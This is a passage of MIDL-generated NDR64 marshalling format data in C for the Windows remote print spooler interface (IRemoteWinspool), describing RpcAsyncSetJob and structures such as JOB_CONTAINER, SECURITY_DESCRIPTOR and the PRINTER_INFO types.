FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag109\n};\n\nstatic const __midl_frag107_t __midl_frag107 =\n{ \n/*  */\n    (NDR64_UINT32) 1 /* 0x1 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 0 /* 0x0 */\n    }\n};\n\nstatic const __midl_frag106_t __midl_frag106 =\n{ \n/* __MIDL_IRemoteWinspool_0009 */\n    { \n    /* __MIDL_IRemoteWinspool_0009 */\n        0x51,    /* FC64_NON_ENCAPSULATED_UNION */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT8) 0 /* 0x0 */,\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        &__midl_frag107,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM_SELECTOR */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 4 /* 0x4 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1 /* 0x1 */,\n        &__midl_frag108,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 2 /* 0x2 */,\n        &__midl_frag117,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 3 /* 0x3 */,\n        &__midl_frag130,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 4 /* 0x4 */,\n        &__midl_frag132,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    (NDR64_UINT32) 4294967295 /* 0xffffffff */\n};\n\nstatic const __midl_frag105_t __midl_frag105 =\n{ \n/* JOB_CONTAINER */\n    { \n    /* JOB_CONTAINER */\n        0x34,    /* FC64_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* JOB_CONTAINER */\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        0,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */\n            0x91,    /* FC64_EMBEDDED_COMPLEX */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag106\n        },\n        { \n        /* JOB_CONTAINER */\n            0x92,    /* FC64_BUFFER_ALIGN */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag104_t __midl_frag104 =\n{ \n/* *JOB_CONTAINER */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag105\n};\n\nstatic const __midl_frag101_t __midl_frag101 =\n{ \n/* RpcAsyncSetJob */\n    { \n    /* RpcAsyncSetJob */      /* procedure RpcAsyncSetJob */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 40 /* 0x28 */ ,  /* Stack size */\n        (NDR64_UINT32) 52 /* 0x34 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 5 /* 0x5 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag211,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* JobId */      /* parameter JobId */\n        &__midl_frag948,\n        { \n        /* JobId */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pJobContainer */      /* parameter pJobContainer */\n        &__midl_frag104,\n        { \n        /* pJobContainer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* Command */      /* parameter Command */\n        &__midl_frag948,\n        { \n        /* Command */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag948,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag99_t __midl_frag99 =\n{ \n/* struct _NDR64_CONTEXT_HANDLE_FORMAT */\n    0x70,    /* FC64_BIND_CONTEXT */\n    (NDR64_UINT8) 160 /* 0xa0 */,\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT8) 1 /* 0x1 */\n};\n\nstatic const __midl_frag98_t __midl_frag98 =\n{ \n/* *struct _NDR64_POINTER_FORMAT */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 4 /* 0x4 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag99\n};\n\nstatic const __midl_frag97_t __midl_frag97 =\n{ \n/* *SPLCLIENT_CONTAINER */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag17\n};\n\nstatic const __midl_frag96_t __midl_frag96 =\n{ \n/*  */\n    { \n    /* *BYTE */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 32 /* 0x20 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag93\n    }\n};\n\nstatic const __midl_frag93_t __midl_frag93 =\n{ \n/* *BYTE */\n    { \n    /* *BYTE */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *BYTE */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag107\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag883\n    }\n};\n\nstatic const __midl_frag92_t __midl_frag92 =\n{ \n/* SECURITY_CONTAINER */\n    { \n    /* SECURITY_CONTAINER */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* SECURITY_CONTAINER */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        &__midl_frag96,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag89_t __midl_frag89 =\n{ \n/* PRINTER_INFO_9 */\n    { \n    /* PRINTER_INFO_9 */\n        0x31,    /* FC64_PSTRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* PRINTER_INFO_9 */\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *DEVMODE */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag59\n        },\n        0x93    /* FC64_END */\n    }\n};\n\nstatic const __midl_frag88_t __midl_frag88 =\n{ \n/* *PRINTER_INFO_9 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag89\n};\n\nstatic const __midl_frag84_t __midl_frag84 =\n{ \n/* PRINTER_INFO_7 */\n    { \n    /* PRINTER_INFO_7 */\n        0x31,    /* FC64_PSTRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* PRINTER_INFO_7 */\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag1102\n        },\n        0x93    /* FC64_END */\n    }\n};\n\nstatic const __midl_frag83_t __midl_frag83 =\n{ \n/* *PRINTER_INFO_7 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag84\n};\n\nstatic const __midl_frag82_t __midl_frag82 =\n{ \n/* PRINTER_INFO_6 */\n    { \n    /* PRINTER_INFO_6 */\n        0x30,    /* FC64_STRUCT */\n        (NDR64_UINT8) 3 /* 0x3 */,\n        { \n        /* PRINTER_INFO_6 */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 4 /* 0x4 */\n    }\n};\n\nstatic const __midl_frag81_t __midl_frag81 =\n{ \n/* *PRINTER_INFO_6 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag82\n};\n\nstatic const __midl_frag78_t __midl_frag78 =\n{ \n/* PRINTER_INFO_5 */\n    { \n    /* PRINTER_INFO_5 */\n        0x31,    /* FC64_PSTRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* PRINTER_INFO_5 */\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 32 /* 0x20 */\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag1102\n        },\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 8 /* 0x8 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag1102\n        },\n        0x93    /* FC64_END */\n    }\n};\n\nstatic const __midl_frag77_t __midl_frag77 =\n{ \n/* *PRINTER_INFO_5 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag78\n};\n\nstatic const __midl_frag74_t __midl_frag74 =\n{ \n/* PRINTER_INFO_4 */\n    { \n    /* PRINTER_INFO_4 */\n        0x31,    /* FC64_PSTRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* PRINTER_INFO_4 */\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 24 /* 0x18 */\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag1102\n        },\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 8 /* 0x8 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag1102\n        },\n        0x93    /* FC64_END */\n    }\n};\n\nstatic const __midl_frag73_t __midl_frag73 =\n{ \n/* *PRINTER_INFO_4 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag74\n};\n\nstatic const __midl_frag72_t __midl_frag72 =\n{ \n/* PRINTER_INFO_3 */\n    { \n    /* PRINTER_INFO_3 */\n        0x31,    /* FC64_PSTRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* PRINTER_INFO_3 */\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *SECURITY_DESCRIPTOR */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag64\n        },\n        0x93    /* FC64_END */\n    }\n};\n\nstatic const __midl_frag71_t __midl_frag71 =\n{ \n/* *PRINTER_INFO_3 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag72\n};\n\nstatic const __midl_frag70_t __midl_frag70 =\n{ \n/*  */\n    { \n    /* *_RPC_SID */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag65\n    },\n    { \n    /* *_RPC_SID */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag65\n    },\n    { \n    /* *_ACL */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag69\n    },\n    { \n    /* *_ACL */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag69\n    }\n};\n\nstatic const __midl_frag69_t __midl_frag69 =\n{ \n/* _ACL */\n    { \n    /* _ACL */\n        0x30,    /* FC64_STRUCT */\n        (NDR64_UINT8) 1 /* 0x1 */,\n        { \n        /* _ACL */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */\n    }\n};\n\nstatic const __midl_frag67_t __midl_frag67 =\n{ \n/*  */\n    (NDR64_UINT32) 1 /* 0x1 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x1,    /* FC64_UINT8 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */\n    }\n};\n\nstatic const __midl_frag66_t __midl_frag66 =\n{ \n/*  */\n    { \n    /* struct _NDR64_CONF_ARRAY_HEADER_FORMAT */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 3 /* 0x3 */,\n        { \n        /* struct _NDR64_CONF_ARRAY_HEADER_FORMAT */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 4 /* 0x4 */,\n        &__midl_frag67\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 4 /* 0x4 */,\n        &__midl_frag1065\n    }\n};\n\nstatic const __midl_frag65_t __midl_frag65 =\n{ \n/* _RPC_SID */\n    { \n    /* _RPC_SID */\n        0x32,    /* FC64_CONF_STRUCT */\n        (NDR64_UINT8) 3 /* 0x3 */,\n        { \n        /* _RPC_SID */\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        &__midl_frag66\n    }\n};\n\nstatic const __midl_frag64_t __midl_frag64 =\n{ \n/* SECURITY_DESCRIPTOR */\n    { \n    /* SECURITY_DESCRIPTOR */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* SECURITY_DESCRIPTOR */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 40 /* 0x28 */,\n        0,\n        0,\n        &__midl_frag70,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x10,    /* FC64_CHAR */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x10,    /* FC64_CHAR */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x4,    /* FC64_INT16 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag59_t __midl_frag59 =\n{ \n/* DEVMODE */\n    { \n    /* DEVMODE */\n        0x30,    /* FC64_STRUCT */\n        (NDR64_UINT8) 3 /* 0x3 */,\n        { \n        /* DEVMODE */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 220 /* 0xdc */\n    }\n};\n\nstatic const __midl_frag51_t __midl_frag51 =\n{ \n/* PRINTER_INFO_2 */\n    { \n    /* PRINTER_INFO_2 */\n        0x31,    /* FC64_PSTRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* PRINTER_INFO_2 */\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 136 /* 0x88 */\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag1102\n        },\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 8 /* 0x8 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag1102\n        },\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 16 /* 0x10 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag1102\n        },\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 24 /* 0x18 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag1102\n        },\n        { \n        /* struct 